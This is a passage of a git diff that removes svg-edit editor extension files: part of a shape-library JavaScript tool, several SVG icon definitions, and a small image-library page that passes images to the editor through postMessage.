-				var btn = $(evt.target).closest('div.tool_button');
-				
-				if(!btn.length) return;
-				
-				var copy = btn.children().clone();
-				shower.children(':not(.flyout_arrow_horiz)').remove();
-				shower
-					.append(copy)
-					.attr('data-curopt', '#' + btn[0].id) // This sets the current mode
-					.mouseup();
-				canv.setMode(mode_id);
-				
-				cur_shape_id = btn[0].id.substr((mode_id+'_').length);
-				current_d = cur_lib.data[cur_shape_id];
-				
-				$('.tools_flyout').fadeOut();
-
-			});
-
-// 			
-			var shape_cats = $('<div id="shape_cats">');
-			
-			var cat_str = '';
-			
-			$.each(categories, function(id, label) {
-				cat_str += '<div data-cat=' + id + '>' + label + '</div>';
-			});
-			
-			shape_cats.html(cat_str).children().bind('mouseup', function() {
-				var catlink = $(this);
-				catlink.siblings().removeClass('current');
-				catlink.addClass('current');
-				
-				loadLibrary(catlink.attr('data-cat'));
-				// Get stuff
-				
-				return false;
-			});
-			
-			shape_cats.children().eq(0).addClass('current');
-			
-			$('#tools_shapelib').append(shape_cats);
-
-			shower.mouseup(function() {
-				canv.setMode(current_d ? mode_id : 'select');
-			});
-
-			
-			$('#tool_shapelib').remove();
-			
-			var h = $('#tools_shapelib').height();
-			$('#tools_shapelib').css({
-				'margin-top': -(h/2 - 15),
-				'margin-left': 3
-			});
-
-	
-		},
-		mouseDown: function(opts) {
-			var mode = canv.getMode();
-			if(mode !== mode_id) return;
-			
-			var e = opts.event;
-			var x = start_x = opts.start_x;
-			var y = start_y = opts.start_y;
-			var cur_style = canv.getStyle();
-
-			cur_shape = canv.addSvgElementFromJson({
-				"element": "path",
-				"curStyles": true,
-				"attr": {
-					"d": current_d,
-					"id": canv.getNextId(),
-					"opacity": cur_style.opacity / 2,
-					"style": "pointer-events:none"
-				}
-			});
-			
-			// Make sure shape uses absolute values
-			if(/[a-z]/.test(current_d)) {
-				current_d = cur_lib.data[cur_shape_id] = canv.pathActions.convertPath(cur_shape);
-				cur_shape.setAttribute('d', current_d);
-				canv.pathActions.fixEnd(cur_shape);
-			}
-	
-			cur_shape.setAttribute('transform', "translate(" + x + "," + y + ") scale(0.005) translate(" + -x + "," + -y + ")");
-			
-// 			console.time('b');
-			canv.recalculateDimensions(cur_shape);
-			
-			var tlist = canv.getTransformList(cur_shape);
-			
-			lastBBox = cur_shape.getBBox();
-			
-			return {
-				started: true
-			}
-			// current_d
-		},
-		mouseMove: function(opts) {
-			var mode = canv.getMode();
-			if(mode !== mode_id) return;
-			
-			var zoom = canv.getZoom();
-			var evt = opts.event
-			
-			var x = opts.mouse_x/zoom;
-			var y = opts.mouse_y/zoom;
-			
-			var tlist = canv.getTransformList(cur_shape),
-				box = cur_shape.getBBox(), 
-				left = box.x, top = box.y, width = box.width,
-				height = box.height;
-			var dx = (x-start_x), dy = (y-start_y);
-
-			var newbox = {
-				'x': Math.min(start_x,x),
-				'y': Math.min(start_y,y),
-				'width': Math.abs(x-start_x),
-				'height': Math.abs(y-start_y)
-			};
-
-			var ts = null,
-				tx = 0, ty = 0,
-				sy = height ? (height+dy)/height : 1, 
-				sx = width ? (width+dx)/width : 1;
-
-			var sx = newbox.width / lastBBox.width;
-			var sy = newbox.height / lastBBox.height;
-			
-			sx = sx || 1;
-			sy = sy || 1;
-			
-			// Not perfect, but mostly works...
-			if(x < start_x) {
-				tx = lastBBox.width;
-			}
-			if(y < start_y) ty = lastBBox.height;
-			
-			// update the transform list with translate,scale,translate
-			var translateOrigin = svgroot.createSVGTransform(),
-				scale = svgroot.createSVGTransform(),
-				translateBack = svgroot.createSVGTransform();
-				
-			translateOrigin.setTranslate(-(left+tx), -(top+ty));
-			if(!evt.shiftKey) {
-				var max = Math.min(Math.abs(sx), Math.abs(sy));
-
-				sx = max * (sx < 0 ? -1 : 1);
-				sy = max * (sy < 0 ? -1 : 1);
-			}
-			scale.setScale(sx,sy);
-			
-			translateBack.setTranslate(left+tx, top+ty);
-			var N = tlist.numberOfItems;
-			tlist.appendItem(translateBack);
-			tlist.appendItem(scale);
-			tlist.appendItem(translateOrigin);
-
-			canv.recalculateDimensions(cur_shape);
-			
-			lastBBox = cur_shape.getBBox();
-		},
-		mouseUp: function(opts) {
-			var mode = canv.getMode();
-			if(mode !== mode_id) return;
-			
-			if(opts.mouse_x == start_x && opts.mouse_y == start_y) {
-				return {
-					keep: false,
-					element: cur_shape,
-					started: false
-				}
-			}
-			
-			return {
-				keep: true,
-				element: cur_shape,
-				started: false
-			}
-		}		
-	}
-});
-
diff --git a/public/svg-edit/editor/extensions/ext-shapes.xml b/public/svg-edit/editor/extensions/ext-shapes.xml
deleted file mode 100644
index 92b0090a..00000000
--- a/public/svg-edit/editor/extensions/ext-shapes.xml
+++ /dev/null
@@ -1,10 +0,0 @@
-<svg xmlns="http://www.w3.org/2000/svg">
-	<g id="tool_shapelib">
-	  <svg xmlns:xlink="http://www.w3.org/1999/xlink" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 300 300">
-		  <path fill="#c0c0c0" stroke-linejoin="round" stroke-width="14" stroke="#202020" fill-rule="nonzero" d="m70,194.72501l0,0c0,-10.30901 35.8172,-18.666 80,-18.666c44.18298,0 80,8.35699 80,18.666l0,74.66699c0,10.30899 -35.81702,18.66699 -80,18.66699c-44.1828,0 -80,-8.358 -80,-18.66699l0,-74.66699z"/>
-		  <path fill="#c0c0c0" stroke-linejoin="round" stroke-width="14" stroke="#202020" fill-rule="nonzero" d="m70,114.608l0,0c0,-10.309 35.8172,-18.6668 80,-18.6668c44.18298,0 80,8.3578 80,18.6668l0,74.66699c0,10.30901 -35.81702,18.666 -80,18.666c-44.1828,0 -80,-8.35699 -80,-18.666l0,-74.66699z"/>
-		  <path fill="#c0c0c0" stroke-linejoin="round" stroke-width="14" stroke="#202020" fill-rule="nonzero" d="m70,33.6667l0,0c0,-10.3094 35.8172,-18.6667 80,-18.6667c44.18298,0 80,8.3573 80,18.6667l0,74.6663c0,10.31 -35.81702,18.667 -80,18.667c-44.1828,0 -80,-8.357 -80,-18.667l0,-74.6663z"/>
-		  <path id="svg_1" fill="#c0c0c0" stroke-linejoin="round" stroke-width="14" stroke="#202020" fill-rule="nonzero" d="m230,32.33334c0,10.30931 -35.81726,18.66666 -80,18.66666c-44.1828,0 -80,-8.35735 -80,-18.66666"/>
-  	</svg>
-	</g>
-</svg>
\ No newline at end of file
diff --git a/public/svg-edit/editor/extensions/eyedropper-icon.xml b/public/svg-edit/editor/extensions/eyedropper-icon.xml
deleted file mode 100644
index c05576aa..00000000
--- a/public/svg-edit/editor/extensions/eyedropper-icon.xml
+++ /dev/null
@@ -1,34 +0,0 @@
-<svg xmlns="http://www.w3.org/2000/svg">
-
-<g id="tool_eyedropper">
-<svg viewBox="0 0 320 320" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
- <!-- Created with SVG-edit - http://svg-edit.googlecode.com/ -->
- <defs>
-  <radialGradient id="eyedropper_svg_6" cx="0.5" cy="0.5" r="0.5">
-   <stop offset="0" stop-color="#ffffff" stop-opacity="1"/>
-   <stop offset="1" stop-color="#e5e5e5" stop-opacity="0.38"/>
-  </radialGradient>
-  <linearGradient id="eyedropper_svg_15" x1="0" y1="0" x2="0.58594" y2="0.55078">
-   <stop offset="0" stop-color="#ffffff" stop-opacity="0.57"/>
-   <stop offset="1" stop-color="#000056" stop-opacity="1"/>
-  </linearGradient>
-  <linearGradient id="eyedropper_svg_19" x1="0" y1="0" x2="1" y2="1">
-   <stop offset="0" stop-color="#ffffff" stop-opacity="1"/>
-   <stop offset="1" stop-color="#ffffff" stop-opacity="0"/>
-  </linearGradient>
- </defs>
- <g display="inline">
-  <title>Layer 1</title>
-  <path d="m193.899994,73l-119.899979,118l-15,39.5l10.25,4.5l43.750015,-20l108.999969,-112l-28.100006,-30z" id="svg_3" fill="none" stroke="#000000" stroke-width="5"/>
-  <path d="m58.649994,232c-2.75,28.200012 -26.399994,28.950012 -21.899994,59c4.5,30.049988 55,28 55.5,-1.25c0.5,-29.25 -20.25,-28.75 -22.25,-54.75l-11.350006,-3z" id="svg_4" fill="#aa56ff" stroke="#000000" stroke-width="7"/>
-  <path d="m45.474976,269.275024l13.775024,0.474976l-0.75,16.75l-14.25,-1.25l1.224976,-15.974976z" id="svg_5" fill="url(#eyedropper_svg_6)" stroke-width="5" fill-opacity="0.73"/>
-  <path d="m217.899994,46c21.5,-101.549999 141.600006,20.449997 28.100006,33l-5,44l-63,-66l39.899994,-11z" id="svg_2" fill="#000000" stroke-width="5"/>
-  <path d="m206.825012,61.075008c3.712494,-2.46249 7.637482,-3.53751 14.424988,-5.575008c10.125,-16.5 32.875,-41.5 40.5,-35c7.625,6.5 -21.25,35.625 -37.5,39.25c-5.5,10.125 -8,13.875 -17.25,16.5c-2.837494,-8.162514 -4.262482,-12.337486 -0.174988,-15.174992z" id="svg_7" fill="url(#eyedropper_svg_15)" stroke-width="5"/>
-  <path d="m133.049988,134.75l46.950012,9.25l-66,70l-42.5,20.5l-11.5,-5l14,-37.5l59.049988,-57.25z" id="svg_11" fill="#aa56ff" stroke="#000000" stroke-width="7"/>
-  <path d="m71.425034,212.350006l9.050888,-20.022537l51.516724,-49.327469l8.507355,0.97197l-69.074966,68.378036z" id="svg_16" fill="url(#eyedropper_svg_19)" stroke-width="5"/>
- </g>
-</svg>
-</g>
-	
-	<g id="svg_eof"/>
-</svg>
\ No newline at end of file
diff --git a/public/svg-edit/editor/extensions/eyedropper.png b/public/svg-edit/editor/extensions/eyedropper.png
deleted file mode 100644
index 61987c4b..00000000
Binary files a/public/svg-edit/editor/extensions/eyedropper.png and /dev/null differ
diff --git a/public/svg-edit/editor/extensions/foreignobject-icons.xml b/public/svg-edit/editor/extensions/foreignobject-icons.xml
deleted file mode 100644
index 0d34654a..00000000
--- a/public/svg-edit/editor/extensions/foreignobject-icons.xml
+++ /dev/null
@@ -1,96 +0,0 @@
-<svg xmlns="http://www.w3.org/2000/svg">
-	<g id="tool_foreign">
-		<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewBox="0 0 84 84">
-		  <g fill="#444" opacity="0.2" transform="translate(6,6)">
-		  <path d="M42.8,74.3c0,4.3,0,5.9,11.8,5.9l4.1,0l0,3.8c-4.5-0.4-16.1-0.4-21.2-0.3c-5.1,0-16.6,0-21,0.4l0-3.8l4.1,0
-			c11.8,0,11.8-1.7,11.8-5.9l0-6.9C13.9,65.6,0,54.6,0,42c0-12.2,13.3-23.5,32.4-25.4l0-6.9c0-4.3,0-5.9-11.8-5.9l-4.1,0l0-3.8
-			c4.5,0.4,16.1,0.4,21.2,0.3c5.1,0,16.6,0,21-0.4l0,3.8l-4.1,0c-11.8,0-11.8,1.7-11.8,5.9l0,6.9C61.6,18.1,75.8,29.2,75.8,42
-			c0,12.4-13.8,23.9-33.1,25.4L42.8,74.3z M32.4,19.4c-18.7,2.5-19.9,16.2-19.9,22.6c0,7.6,2.3,20.2,20,22.5L32.4,19.4z M42.7,64.7
-			c18.8-2.2,20.7-15.4,20.6-22.8c0-9.3-3.5-20.6-20.7-22.6L42.7,64.7z"/>
-		  </g>
-		  <g fill="#444" opacity="0.3" transform="translate(4,4)">
-		  <path d="M42.8,74.3c0,4.3,0,5.9,11.8,5.9l4.1,0l0,3.8c-4.5-0.4-16.1-0.4-21.2-0.3c-5.1,0-16.6,0-21,0.4l0-3.8l4.1,0
-			c11.8,0,11.8-1.7,11.8-5.9l0-6.9C13.9,65.6,0,54.6,0,42c0-12.2,13.3-23.5,32.4-25.4l0-6.9c0-4.3,0-5.9-11.8-5.9l-4.1,0l0-3.8
-			c4.5,0.4,16.1,0.4,21.2,0.3c5.1,0,16.6,0,21-0.4l0,3.8l-4.1,0c-11.8,0-11.8,1.7-11.8,5.9l0,6.9C61.6,18.1,75.8,29.2,75.8,42
-			c0,12.4-13.8,23.9-33.1,25.4L42.8,74.3z M32.4,19.4c-18.7,2.5-19.9,16.2-19.9,22.6c0,7.6,2.3,20.2,20,22.5L32.4,19.4z M42.7,64.7
-			c18.8-2.2,20.7-15.4,20.6-22.8c0-9.3-3.5-20.6-20.7-22.6L42.7,64.7z"/>
-		  </g>
-		  <g fill="#444" opacity="0.5" transform="translate(2,2)">
-		  <path d="M42.8,74.3c0,4.3,0,5.9,11.8,5.9l4.1,0l0,3.8c-4.5-0.4-16.1-0.4-21.2-0.3c-5.1,0-16.6,0-21,0.4l0-3.8l4.1,0
-			c11.8,0,11.8-1.7,11.8-5.9l0-6.9C13.9,65.6,0,54.6,0,42c0-12.2,13.3-23.5,32.4-25.4l0-6.9c0-4.3,0-5.9-11.8-5.9l-4.1,0l0-3.8
-			c4.5,0.4,16.1,0.4,21.2,0.3c5.1,0,16.6,0,21-0.4l0,3.8l-4.1,0c-11.8,0-11.8,1.7-11.8,5.9l0,6.9C61.6,18.1,75.8,29.2,75.8,42
-			c0,12.4-13.8,23.9-33.1,25.4L42.8,74.3z M32.4,19.4c-18.7,2.5-19.9,16.2-19.9,22.6c0,7.6,2.3,20.2,20,22.5L32.4,19.4z M42.7,64.7
-			c18.8-2.2,20.7-15.4,20.6-22.8c0-9.3-3.5-20.6-20.7-22.6L42.7,64.7z"/>
-		  </g>
-		  <g fill="#0000CC">
-		  <path id="xyz321" d="M42.8,74.3c0,4.3,0,5.9,11.8,5.9l4.1,0l0,3.8c-4.5-0.4-16.1-0.4-21.2-0.3c-5.1,0-16.6,0-21,0.4l0-3.8l4.1,0
-			c11.8,0,11.8-1.7,11.8-5.9l0-6.9C13.9,65.6,0,54.6,0,42c0-12.2,13.3-23.5,32.4-25.4l0-6.9c0-4.3,0-5.9-11.8-5.9l-4.1,0l0-3.8
-			c4.5,0.4,16.1,0.4,21.2,0.3c5.1,0,16.6,0,21-0.4l0,3.8l-4.1,0c-11.8,0-11.8,1.7-11.8,5.9l0,6.9C61.6,18.1,75.8,29.2,75.8,42
-			c0,12.4-13.8,23.9-33.1,25.4L42.8,74.3z M32.4,19.4c-18.7,2.5-19.9,16.2-19.9,22.6c0,7.6,2.3,20.2,20,22.5L32.4,19.4z M42.7,64.7
-			c18.8-2.2,20.7-15.4,20.6-22.8c0-9.3-3.5-20.6-20.7-22.6L42.7,64.7z"/>
-		  </g>
-		</svg>
-	</g>
-	
-	<g id="edit_foreign">
-		<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewBox="34 38 170 170" overflow="hidden">
-		<g fill="#000088">
-			<path d="M30.1,63.9v-4.3l30.2-14.9V50L36.5,61.7l23.8,11.7v5.3L30.1,63.9z"/>
-			<path d="M106.1,79.7v-1.1c4.2-0.5,4.8-1.1,4.8-5.2V58.2c0-6-1.3-7.9-5.4-7.9c-3.3,0-5.7,1.3-7.8,4.4v18.1
-				c0,4.5,1.1,5.7,5.2,5.8v1.1H86.8v-1.1c4.1-0.3,4.9-1.1,4.9-5.1V57.9c0-5-1.6-7.6-4.8-7.6c-2.5,0-5.6,1.2-7.4,2.9
-				c-0.5,0.5-1.1,1.4-1.1,1.4v20.3c0,2.8,1.1,3.6,4.9,3.7v1.1h-16v-1.1c4-0.1,5-1.2,5-5V55.4c0-3.5-0.6-4.6-2.5-4.6
-				c-0.8,0-1.4,0.1-2.3,0.3v-1.2c4-1.1,6.4-1.9,10.1-3.2l0.5,0.1v5.4c6-4.5,8-5.5,11.2-5.5c3.9,0,6.3,1.9,7.6,6c3.9-4.2,7.6-6,11.7-6
-				c5.5,0,8.4,4.3,8.4,12.8v14.8c0,2.8,0.9,4.1,3.1,4.2l1.9,0.1v1.1H106.1z"/>
-			<path d="M147.3,80.5c-3,0-4.2-1.4-4.6-5.3c-4.4,3.7-7.3,5.3-10.5,5.3c-4.5,0-7.6-3.2-7.6-7.7c0-2.4,1-4.8,2.6-6.3
-				c3.1-2.7,4.3-3.3,15.4-7.8v-4.4c0-3.9-1.9-6-5.5-6c-2.9,0-5.2,1.6-5.2,3.5c0,0.5,0.1,1.1,0.2,1.7c0.1,0.5,0.1,0.9,0.1,1.2
-				c0,1.6-1.5,3-3.2,3s-3.1-1.4-3.1-3.1c0-1.8,1.2-3.9,3-5.4c2-1.7,5.5-2.7,9.1-2.7c4.4,0,7.5,1.4,9,4.2c1,1.7,1.4,3.7,1.4,7.3v14
-				c0,3.2,0.5,4.2,2.2,4.2c1.1,0,1.9-0.4,3.2-1.4v1.9C151.3,79.6,149.8,80.5,147.3,80.5z M142.6,60.5c-8.7,3.2-11.7,5.8-11.7,10v0.3
-				c0,3.1,2,5.5,4.5,5.5c1.5,0,3.5-0.6,5.3-1.6c1.5-0.9,1.9-1.6,1.9-3.8V60.5z"/>
-			<path d="M165.3,80.5c-4.2,0-6.3-3.1-6.3-9.1V49.7h-3.8c-0.2-0.1-0.3-0.3-0.3-0.5c0-0.4,0.4-0.9,1.2-1.4
-				c1.9-1.1,4.3-3.7,7-7.7c0.5-0.6,1-1.3,1.4-2c0.4,0,0.5,0.2,0.5,0.9v8.4h7.3v2.3h-7.3v20.6c0,4.6,1.1,6.5,3.7,6.5
-				c1.6,0,2.7-0.6,4.3-2.5l0.9,0.8C171.8,78.7,169,80.5,165.3,80.5z"/>
-			<path d="M193.8,79.7v-1.1c4.1-0.4,4.9-1.3,4.9-6.2V58.1c0-5-1.8-7.6-5.4-7.6c-2.8,0-5,1.2-8,4.5v17.4
-				c0,5,0.7,5.8,4.9,6.3v1.1h-15.6v-1.1c4.2-0.6,4.6-1.2,4.6-6.3V38.5c0-3.1-0.6-3.7-3.7-3.7c-0.4,0-0.6,0-0.9,0.1v-1.2l1.9-0.6
-				c4-1.2,5.8-1.7,8.3-2.6l0.4,0.2v21.9c3.3-4.3,6.3-6,10.6-6c5.9,0,8.9,3.9,8.9,11.5v14.3c0,5,0.4,5.5,4.3,6.3v1.1h-15.2V79.7z"/>
-			<path d="M59.1,116.1v-4.3l30.2-14.9v5.3l-23.8,11.7l23.8,11.7v5.3L59.1,116.1z"/>
-			<path d="M135.1,131.9v-1.1c4.2-0.5,4.8-1.1,4.8-5.2v-15.1c0-6-1.3-7.9-5.4-7.9c-3.3,0-5.7,1.3-7.8,4.4v18.1
-				c0,4.5,1.1,5.7,5.2,5.8v1.1h-16.1v-1.1c4.1-0.3,4.9-1.1,4.9-5.1v-15.7c0-5-1.6-7.6-4.8-7.6c-2.5,0-5.6,1.2-7.4,2.9
-				c-0.5,0.5-1.1,1.4-1.1,1.4v20.3c0,2.8,1.1,3.6,4.9,3.7v1.1h-16v-1.1c4-0.1,5-1.2,5-5v-18.2c0-3.5-0.6-4.6-2.5-4.6
-				c-0.8,0-1.4,0.1-2.3,0.3v-1.2c4-1.1,6.4-1.9,10.1-3.2l0.5,0.1v5.4c6-4.5,8-5.5,11.2-5.5c3.9,0,6.3,1.9,7.6,6c3.9-4.2,7.6-6,11.7-6
-				c5.5,0,8.4,4.3,8.4,12.8v14.8c0,2.8,0.9,4.1,3.1,4.2l1.9,0.1v1.1H135.1z"/>
-			<path d="M152.1,131.9v-1.1c5-0.3,5.7-1.1,5.7-6.3v-16.6c0-3.2-0.6-4.3-2.4-4.3c-0.6,0-1.6,0.1-2.4,0.2l-0.6,0.1v-1.1
-				l11.2-4L164,99v25.6c0,5.2,0.6,5.9,5.3,6.3v1.1L152.1,131.9L152.1,131.9z M160.8,93.1c-2,0-3.7-1.6-3.7-3.7c0-2,1.7-3.7,3.7-3.7
-				c2.1,0,3.7,1.7,3.7,3.7C164.6,91.6,163,93.1,160.8,93.1z"/>
-			<path d="M175.8,131v-5.3l23.7-11.8l-23.7-11.7v-5.3l30.1,14.9v4.3L175.8,131z"/>
-			<path d="M31.1,169.5v-4.3l30.2-14.9v5.3l-23.8,11.7L61.3,179v5.3L31.1,169.5z"/>
-			<path d="M71.3,186.4h-4.9l16.5-49.7h4.8L71.3,186.4z"/>
-			<path d="M127.1,185.3v-1.1c4.2-0.5,4.8-1.1,4.8-5.2v-15.2c0-6-1.3-7.9-5.4-7.9c-3.3,0-5.7,1.3-7.8,4.4v18.1
-				c0,4.5,1.1,5.7,5.2,5.8v1.1h-16.1v-1.1c4.1-0.3,4.9-1.1,4.9-5.1v-15.6c0-5-1.6-7.6-4.8-7.6c-2.5,0-5.6,1.2-7.4,2.9
-				c-0.5,0.5-1.1,1.4-1.1,1.4v20.3c0,2.8,1.1,3.6,4.9,3.7v1.1h-16v-1.1c4-0.1,5-1.2,5-5V161c0-3.5-0.6-4.6-2.5-4.6
-				c-0.8,0-1.4,0.1-2.3,0.3v-1.2c4-1.1,6.4-1.9,10.1-3.2l0.5,0.1v5.4c6-4.5,8-5.5,11.2-5.5c3.9,0,6.3,1.9,7.6,6c3.9-4.2,7.6-6,11.7-6
-				c5.5,0,8.4,4.3,8.4,12.8v14.8c0,2.8,0.9,4.1,3.1,4.2l1.9,0.1v1.1H127.1L127.1,185.3z"/>
-			<path d="M168.3,186.1c-3,0-4.2-1.4-4.6-5.3c-4.4,3.7-7.3,5.3-10.5,5.3c-4.5,0-7.6-3.2-7.6-7.7c0-2.4,1-4.8,2.6-6.3
-				c3.1-2.7,4.3-3.3,15.4-7.8v-4.4c0-3.9-1.9-6-5.5-6c-2.9,0-5.2,1.6-5.2,3.5c0,0.5,0.1,1.1,0.2,1.7c0.1,0.5,0.1,0.9,0.1,1.2
-				c0,1.6-1.5,3-3.2,3s-3.1-1.4-3.1-3.1c0-1.8,1.2-3.9,3-5.4c2-1.7,5.5-2.7,9.1-2.7c4.4,0,7.5,1.4,9,4.2c1,1.7,1.4,3.7,1.4,7.3v14
-				c0,3.2,0.5,4.2,2.2,4.2c1.1,0,1.9-0.4,3.2-1.4v1.9C172.3,185.2,170.8,186.1,168.3,186.1z M163.8,166.1c-8.7,3.2-11.7,5.8-11.7,10
-				v0.3c0,3.1,2,5.5,4.5,5.5c1.5,0,3.5-0.6,5.3-1.6c1.5-0.9,1.9-1.6,1.9-3.8V166.1z"/>
-			<path d="M186.3,186.1c-4.2,0-6.3-3.1-6.3-9.1v-21.7h-3.8c-0.2-0.1-0.3-0.3-0.3-0.5c0-0.4,0.4-0.9,1.2-1.4
-				c1.9-1.1,4.3-3.7,7-7.7c0.5-0.6,1-1.3,1.4-2c0.4,0,0.5,0.2,0.5,0.9v8.4h7.3v2.3h-7.3v20.6c0,4.6,1.1,6.5,3.7,6.5
-				c1.6,0,2.7-0.6,4.3-2.5l0.9,0.8C192.8,184.3,190,186.1,186.3,186.1z"/>
-			<path d="M209.1,185.3h-13.4v-1.1c4.2-0.6,4.6-1.2,4.6-6.3V144c0-3.1-0.6-3.7-3.7-3.7c-0.4,0-0.6,0-0.9,0.1v-1.2
-				l1.9-0.6c4-1.2,5.8-1.7,8.3-2.6l0.4,0.2v21.9c0.9-1.2,1.9-2.2,2.8-3.1"/>
-			<path d="M209.1,157.9c-0.8,0.7-1.7,1.5-2.7,2.6v17.4c0,4,0.4,5.3,2.7,5.9"/>
-		  </g>
-		  <g>
-			<polyline opacity="0.2" fill="#231F20" points="209.1,76.4 118.7,186.5 139.1,186.4 209.1,121 209.1,76.4 "/>
-			<polyline opacity="0.4" fill="#231F20" points="209.1,76.2 118.5,186.5 129.7,186.4 200.2,120.3 209.1,100.8 209.1,76.4 "/>
-			<path fill="#FFD761" d="M121.6,88.7l0.8,87.5l62.3-56.7c0,0-15.3-25.8-24.8-30C151.1,85.6,121.6,88.7,121.6,88.7z"/>
-			<path fill="#FEA01E" d="M209.1,19.5h-54l-33.5,69.2c0,0,29.7-3.4,38.3,0.8c8.9,4.4,25,30.8,25,30.8l24.2-50V19.5z"/>
-			<path d="M120.4,153.7l-0.6,25l23.8-16.9c0,0-8-7-11.2-8.1C129.4,152.8,120.4,153.7,120.4,153.7z"/>
-			<polyline fill="none" stroke="#231F20" stroke-width="5" points="153.9,19.5 121.6,88.7 120.7,181.2 186.6,120.3 209.1,70.3 "/>
-		  </g>
-		</svg>
-	</g>
-	
-	<g id="svg_eof"/>
-</svg>
\ No newline at end of file
diff --git a/public/svg-edit/editor/extensions/grid-icon.xml b/public/svg-edit/editor/extensions/grid-icon.xml
deleted file mode 100644
index d34eb9d0..00000000
--- a/public/svg-edit/editor/extensions/grid-icon.xml
+++ /dev/null
@@ -1,30 +0,0 @@
-<svg xmlns="http://www.w3.org/2000/svg">
-<!-- 
-	Sample icons file. This file looks like an SVG file with groups as its
-	children. Each group element has an ID that must match the ID of the button given
-	in the extension. The SVG inside the group makes up the actual icon, and
-	needs use a viewBox instead of width/height for it to scale	properly.
-	
-	Multiple icons can be included, each within their own group.
--->
-	<g id="view_grid">
-	  <svg xmlns:xlink="http://www.w3.org/1999/xlink" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24">
-		<g>
-		  <rect fill="#ffffff" stroke="#848484" x="2" y="2" width="20" height="20"/>
-		  <line fill="none" stroke="#848484" x1="11.84375" y1="-1.53125" x2="11.84375" y2="18.46875" transform="rotate(90, 11.8429, 8.46955)"/>
-		  <line fill="none" stroke="#848484" x1="11.90625" y1="5.21875" x2="11.90625" y2="25.21875" transform="rotate(90, 11.9054, 15.2196)"/>
-		  <line fill="none" stroke="#848484" x1="8.5" y1="2.03125" x2="8.5" y2="22.03125"/>
-		  <line fill="none" stroke="#848484" x1="15.5" y1="2.03125" x2="15.5" y2="22.03125"/>
-		  <rect fill="#d8d8d8" stroke="#000000" stroke-width="0" x="3.25" y="3.28125" width="4" height="4"/>
-		  <rect fill="#d8d8d8" stroke="#000000" stroke-width="0" x="10" y="3.28125" width="4" height="4"/>
-		  <rect fill="#d8d8d8" stroke="#000000" stroke-width="0" x="16.75" y="3.28125" width="4" height="4"/>
-		  <rect fill="#d8d8d8" stroke="#000000" stroke-width="0" x="3.28125" y="9.75" width="4" height="4"/>
-		  <rect fill="#d8d8d8" stroke="#000000" stroke-width="0" x="10.03125" y="9.75" width="4" height="4"/>
-		  <rect fill="#d8d8d8" stroke="#000000" stroke-width="0" x="16.78125" y="9.75" width="4" height="4"/>
-		  <rect fill="#d8d8d8" stroke="#000000" stroke-width="0" x="3.3125" y="16.59375" width="4" height="4"/>
-		  <rect fill="#d8d8d8" stroke="#000000" stroke-width="0" x="10.0625" y="16.59375" width="4" height="4"/>
-		  <rect fill="#d8d8d8" stroke="#000000" stroke-width="0" x="16.8125" y="16.59375" width="4" height="4"/>
-		</g>
-	  </svg>
-	</g>
-</svg>
diff --git a/public/svg-edit/editor/extensions/helloworld-icon.xml b/public/svg-edit/editor/extensions/helloworld-icon.xml
deleted file mode 100644
index 0b1ba1a0..00000000
--- a/public/svg-edit/editor/extensions/helloworld-icon.xml
+++ /dev/null
@@ -1,21 +0,0 @@
-<svg xmlns="http://www.w3.org/2000/svg">
-<!-- 
-	Sample icons file. This file looks like an SVG file with groups as its
-	children. Each group element has an ID that must match the ID of the button given
-	in the extension. The SVG inside the group makes up the actual icon, and
-	needs use a viewBox instead of width/height for it to scale	properly.
-	
-	Multiple icons can be included, each within their own group.
--->
-	<g id="hello_world">
-		<svg width="102" height="102" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
-		 <!-- Created with SVG-edit - http://svg-edit.googlecode.com/ -->
-		 <g>
-		  <title>Layer 1</title>
-		  <rect ry="30" rx="30" x="2.5" y="2.5" width="97" height="97" id="svg_3" fill="#008000" stroke="#000000" stroke-width="5"/>
-		  <text x="52.668" y="42.5" id="svg_1" fill="#ffffff" stroke="#000000" stroke-width="0" font-size="24" font-family="Monospace" text-anchor="middle" xml:space="preserve">Hello</text>
-		  <text x="52.668" y="71.5" fill="#ffffff" stroke="#000000" stroke-width="0" font-size="24" font-family="Monospace" text-anchor="middle" xml:space="preserve" id="svg_2">World!</text>
-		 </g>
-		</svg>
-	</g>
-</svg>
\ No newline at end of file
diff --git a/public/svg-edit/editor/extensions/imagelib/index.html b/public/svg-edit/editor/extensions/imagelib/index.html
deleted file mode 100644
index f5b674a4..00000000
--- a/public/svg-edit/editor/extensions/imagelib/index.html
+++ /dev/null
@@ -1,64 +0,0 @@
-<!doctype html>
-<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.4/jquery.min.js"></script>
-
-
-<body>
-
-<h1>Select an image:</h1>
-<a href="smiley.svg">smiley.svg</a>
-<br>
-<a href="../../images/logo.png">logo.png</a>
-</body>
-
-<script>
-
-$('a').click(function() {
-	var href = this.href;
-	var target = window.parent;
-	// Convert Non-SVG images to data URL first 
-	// (this could also have been done server-side by the library)
-	if(this.href.indexOf('.svg') === -1) {
-
-		var meta_str = JSON.stringify({
-			name: $(this).text(),
-			id: href
-		});
-		target.postMessage(meta_str, "*");
-	
-		var img = new Image();
-		img.onload = function() {
-			var canvas = document.createElement("canvas");
-			canvas.width = this.width;
-			canvas.height = this.height;
-			// load the raster image into the canvas
-			canvas.getContext("2d").drawImage(this,0,0);
-			// retrieve the data: URL
-			try {
-				var dataurl = canvas.toDataURL();
-			} catch(err) {
-				// This fails in Firefox with file:// URLs :(
-				alert("Data URL conversion failed: " + err);
-				var dataurl = "";
-			}
-			target.postMessage('|' + href + '|' + dataurl, "*");
-		}
-		img.src = href;
-	} else {
-		// Send metadata (also indicates file is about to be sent)
-		var meta_str = JSON.stringify({
-			name: $(this).text(),
-			id: href
-		});
-		target.postMessage(meta_str, "*");
-		// Do ajax request for image's href value
-		$.get(href, function(data) {
-			data = '|' + href + '|' + data;
-			// This is where the magic happens!
-			target.postMessage(data, "*");
-			
-		}, 'html'); // 'html' is necessary to keep returned data as a string
-	}
-	return false;
-});
-
-</script>
diff --git a/public/svg-edit/editor/extensions/imagelib/smiley.svg b/public/svg-edit/editor/extensions/imagelib/smiley.svg
deleted file mode 100644
index 21a798d6..00000000
